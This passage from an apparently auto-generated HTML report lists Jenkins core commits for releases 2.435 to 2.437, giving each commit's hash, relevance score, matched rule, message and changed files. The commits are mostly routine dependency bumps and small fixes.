      show node monitors on agent page (#8725) * show node monitors on agent page add an advanced button on the agent page. When clicking it will show the node monitors for this agent including any warnings/errors * fix style
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Computer.java + + core/src/main/resources/hudson/model/Computer/index.jelly + + war/src/main/scss/components/_table.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency prettier to v3.1.1 (#8775) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5562c4a0f9e724601fd8a42983c489a95d6b50e9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8775
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency prettier to v3.1.1 (#8775) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Simplifying `JNLPLauncher` (#8762) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6a2d94bfbe9fca4d020f513025100b66872a1877 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8762
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Simplifying `JNLPLauncher` (#8762)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Slave.java + + core/src/main/java/hudson/slaves/JNLPLauncher.java + + core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java + + core/src/main/resources/hudson/slaves/JNLPLauncher/config.jelly + + core/src/main/resources/hudson/slaves/JNLPLauncher/config.properties + + core/src/main/resources/hudson/slaves/JNLPLauncher/main.jelly + + core/src/main/resources/hudson/slaves/JNLPLauncher/main.properties + + core/src/main/resources/hudson/slaves/JNLPLauncher/main_bg.properties + + core/src/main/resources/hudson/slaves/JNLPLauncher/main_de.properties + + core/src/main/resources/hudson/slaves/JNLPLauncher/main_es.properties + + core/src/main/resources/hudson/slaves/JNLPLauncher/main_it.properties + + core/src/main/resources/hudson/slaves/JNLPLauncher/main_pt_BR.properties + + core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties + + core/src/main/resources/hudson/slaves/Messages.properties + + core/src/main/resources/hudson/slaves/Messages_pt_BR.properties + + core/src/main/resources/hudson/slaves/Messages_ru.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Print deprecation warning when using `-jnlpUrl` (#8773) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 05037a087ffc751e064710c207ad6b26c51d4a38 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8773
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Print deprecation warning when using `-jnlpUrl` (#8773)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/slaves/SlaveComputer.java + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci:jenkins from 1.107 to 1.108 (#8772)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f885f927183d90bb4180a4a8f569fa039b3a6e5d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8772
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci:jenkins from 1.107 to 1.108 (#8772) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump net.java.dev.jna:jna from 5.13.0 to 5.14.0 (#8770)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f1e29df3859ea22520e5db62899fb622dbb92102 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8770
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump net.java.dev.jna:jna from 5.13.0 to 5.14.0 (#8770) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Class loading deadlock between `PermalinkProjectAction.Permalink` &... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f9a777bc682963de4640303b2f28ac488f9b93ef +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8736
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Class loading deadlock between `PermalinkProjectAction.Permalink` & `PeepholePermalink` (#8736) * Class loading deadlock between `PermalinkProjectAction` & `PeepholePermalink` * Checkstyle * Clearer reproducer * Do not let `Permalink` refer to its subclass `PeepholePermalink` in its static initializer * Cleaner test * Checkstyle * Maybe we should not run `initialized` from `Job.<clinit>` either
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Job.java + + core/src/main/java/hudson/model/PermalinkProjectAction.java + + core/src/main/java/jenkins/model/PeepholePermalink.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:credentials from 1309.v8835d63eb_d8a_ to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 85c1f8ddf228b1def6a8251b8d13512209552b2f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8764
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:credentials from 1309.v8835d63eb_d8a_ to 1311.vcf0a_900b_37c2 (#8764) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.puppycrawl.tools:checkstyle from 10.12.5 to 10.12.6 (#8760)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8fbe0d39defc021dda6bf173280476dc6258a490 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8760
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.puppycrawl.tools:checkstyle from 10.12.5 to 10.12.6 (#8760) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump `tibdex/github-app-token` from 1 to 2 (try 2) (#8759) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3273aecb70d73aa58b4bbedf3195eb3f874a8fe6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8759
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump `tibdex/github-app-token` from 1 to 2 (try 2) (#8759)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/changelog.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump commons-logging:commons-logging from 1.2 to 1.3.0 (#8732) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1dac7b7c76292da71c95d865df4f01fe51cd0818 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8732
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump commons-logging:commons-logging from 1.2 to 1.3.0 (#8732) Bumps commons-logging:commons-logging from 1.2 to 1.3.0. --- updated-dependencies: - dependency-name: commons-logging:commons-logging dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump commons-io:commons-io from 2.15.0 to 2.15.1 (#8730)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + bf90ba4e66176d45cbf6f5e6d0c35c92b3fe7c46 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8730
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump commons-io:commons-io from 2.15.0 to 2.15.1 (#8730) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump `tibdex/github-app-token` from 1 to 2 (#8747) Signed-off-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 37ab66e20c7300a289fb80ef952821d5209acd7c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8747
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump `tibdex/github-app-token` from 1 to 2 (#8747) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/changelog.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency eslint-config-prettier to v9.1.0 (#8750)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5cb3fa236764330e83780389fabb9f29e4beb75f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8750
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency eslint-config-prettier to v9.1.0 (#8750) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump io.jenkins.plugins:font-awesome-api from 6.4.2-1 to 6.5.1-1... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c49faf87a87fb6e1e446f46df7eb2eab0215a960 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8744
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump io.jenkins.plugins:font-awesome-api from 6.4.2-1 to 6.5.1-1 (#8744) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fixup yarn update to 4.0.2 (#8742) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + fb3b760c458d5bad88385db5c44ac60543d88a18 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8742
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fixup yarn update to 4.0.2 (#8742)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss to v8.4.32 (#8749) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.436 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1dbfc627594aba8af12dc87af6d8d591aaaa2490 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8749
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss to v8.4.32 (#8749) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency eslint to v8.55.0 (#8748) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 17869eafc50efcf686aeb82956f4074819741286 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8748
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency eslint to v8.55.0 (#8748) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72343] Accept all 2xx and 3xx status codes to validate... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b8344b98ec9c514e40d0e48f95957253f645be07 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8700
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72343] Accept all 2xx and 3xx status codes to validate proxy in HTTP Proxy Configuration (#8700) * Accept all 2xx and 3xx status codes validate proxy in HTTP Proxy Configuration * add status code in the response to the user
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/ProxyConfiguration.java + + core/src/main/resources/hudson/Messages.properties + + core/src/main/resources/hudson/Messages_bg.properties + + core/src/main/resources/hudson/Messages_de.properties + + core/src/main/resources/hudson/Messages_es.properties + + core/src/main/resources/hudson/Messages_fr.properties + + core/src/main/resources/hudson/Messages_it.properties + + core/src/main/resources/hudson/Messages_ja.properties + + core/src/main/resources/hudson/Messages_pt_BR.properties + + core/src/main/resources/hudson/Messages_ru.properties + + core/src/main/resources/hudson/Messages_sr.properties + + core/src/main/resources/hudson/Messages_zh_TW.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + do not specify anti-aliasing (#8689) specifying the anti-aliasing... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 62d22f3277a3c4a7cd0b74b6ffe1bfc2e5775ed3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8689
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      do not specify anti-aliasing (#8689) specifying the anti-aliasing implies we know better than the browser (we don't). Specifiying this globally prevents the use of sub-pixel anti-aliasing where it is available and the browsers text rendering engines are these days pretty much fantastic that they should not need these hacks. and for good measure - here is an article from 10 years ago https://usabilitypost.com/2012/11/05/stop-fixing-font-smoothing/ and the mozilla doc saying do not use it on a public facing web site. https://developer.mozilla.org/en-US/docs/Web/CSS/font-smooth
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/scss/base/_core.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72196] avoid wrong styling when deleting the first of 2... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + dc983d0409668be74d28c91fa5dda4a1e076a78d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8739
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72196] avoid wrong styling when deleting the first of 2 shell steps (#8739) move link elements to head fixes JENKINS-72196 when in a form there are repeatables that both contain a codemirror config via a textarea. When deleting the first of those it can happen that the link elements importing the css for codemirror are defined in a div that gets deleted. This effectively removes the css from the DOM tree, so that other textareas afterwards that also require the codemirror css are no longer styled properly. The Behaviour uses a high negative value for the priority so that the move of the link elements is applied before any other behaviour jumps in, e.g. hetero-list and repeatable add the elements to the dom via jelly of all things can that can be added and later remove them from the dom and keep them in memory.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/webapp/scripts/hudson-behavior.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sortablejs to v1.15.1 (#8741) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ee6535f13df77aa40422ae43c6ab9776e3659a56 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8741
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sortablejs to v1.15.1 (#8741) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Move proxy configuration form out of pluginManager screens as it is... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1e9372ee5742d18f1181acd307f5087eeba90187 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8693
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Move proxy configuration form out of pluginManager screens as it is not related (#8693) * Move proxy configuration form out of pluginManager screens as it is not related --------- Signed-off-by: Olivier Lamy <olamy@apache.org>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/PluginManager.java + + core/src/main/java/hudson/ProxyConfigurationManager.java + + core/src/main/resources/hudson/Messages.properties + + core/src/main/resources/hudson/PluginManager/advanced.jelly + + core/src/main/resources/hudson/PluginManager/advanced.properties + + core/src/main/resources/hudson/PluginManager/advanced_fr.properties + + core/src/main/resources/hudson/ProxyConfigurationManager/config.jelly + + core/src/main/resources/hudson/model/Messages.properties + + core/src/main/resources/hudson/model/Messages_bg.properties + + core/src/main/resources/hudson/model/Messages_de.properties + + core/src/main/resources/hudson/model/Messages_es.properties + + core/src/main/resources/hudson/model/Messages_fr.properties + + core/src/main/resources/hudson/model/Messages_it.properties + + core/src/main/resources/hudson/model/Messages_ja.properties + + core/src/main/resources/hudson/model/Messages_lt.properties + + core/src/main/resources/hudson/model/Messages_pt_BR.properties + + core/src/main/resources/hudson/model/Messages_sr.properties + + core/src/main/resources/hudson/model/Messages_zh_TW.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Don't try to publish artifacts on RC GitHub releases (#8733) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 932cb225d3bcbfe15f8f843feea970012927abaa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8733
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Don't try to publish artifacts on RC GitHub releases (#8733)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/publish-release-artifact.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Upgrade bundled plugins (#8724) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 78f1e9c8ebabab11d468f80572986e59a98a4d9c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8724
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Upgrade bundled plugins (#8724)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update babel monorepo to v7.23.5 (#8738) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f6de78afc3f3abf18180e204ef37e718a80dd161 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8738
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update babel monorepo to v7.23.5 (#8738) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump actions/setup-java from 3 to 4 (#8727) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ba64f8365ce56609d4b559d3ebfcda13e15d5f9a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8727
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump actions/setup-java from 3 to 4 (#8727) Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4. - [Release notes](https://github.com/actions/setup-java/releases) - [Commits](https://github.com/actions/setup-java/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/setup-java dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/publish-release-artifact.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.github.eirslett:frontend-maven-plugin from 1.14.2 to 1.15.0... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 48a855399bfbb9db863d20eb639b21f7fb33d1f2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8737
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.github.eirslett:frontend-maven-plugin from 1.14.2 to 1.15.0 (#8737) Bumps [com.github.eirslett:frontend-maven-plugin](https://github.com/eirslett/frontend-maven-plugin) from 1.14.2 to 1.15.0. - [Changelog](https://github.com/eirslett/frontend-maven-plugin/blob/master/CHANGELOG.md) - [Commits](https://github.com/eirslett/frontend-maven-plugin/compare/frontend-plugins-1.14.2...frontend-plugins-1.15.0) --- updated-dependencies: - dependency-name: com.github.eirslett:frontend-maven-plugin dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency hotkeys-js to v3.12.2 (#8726) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 39d9b6079ab19f60bba3fa27db996f6301fb227b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8726
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency hotkeys-js to v3.12.2 (#8726) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove reference to timeline widget in build history (#8718) Init... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 37622ec88a4f5e70f5980c78f7a0bdf3869ae9a2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8718
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove reference to timeline widget in build history (#8718) Init Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
